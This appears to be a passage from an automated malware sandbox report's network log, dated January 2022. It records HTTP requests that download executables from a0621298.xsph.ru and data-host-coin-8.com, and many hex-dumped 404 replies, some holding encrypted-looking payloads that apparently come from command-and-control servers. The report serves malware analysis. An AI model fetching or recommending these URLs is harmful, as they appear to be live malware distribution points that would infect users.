Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /files/4918_1642080252_3360.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/9006_1642091568_3496.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 13 Jan 2022 19:49:06 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:50:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 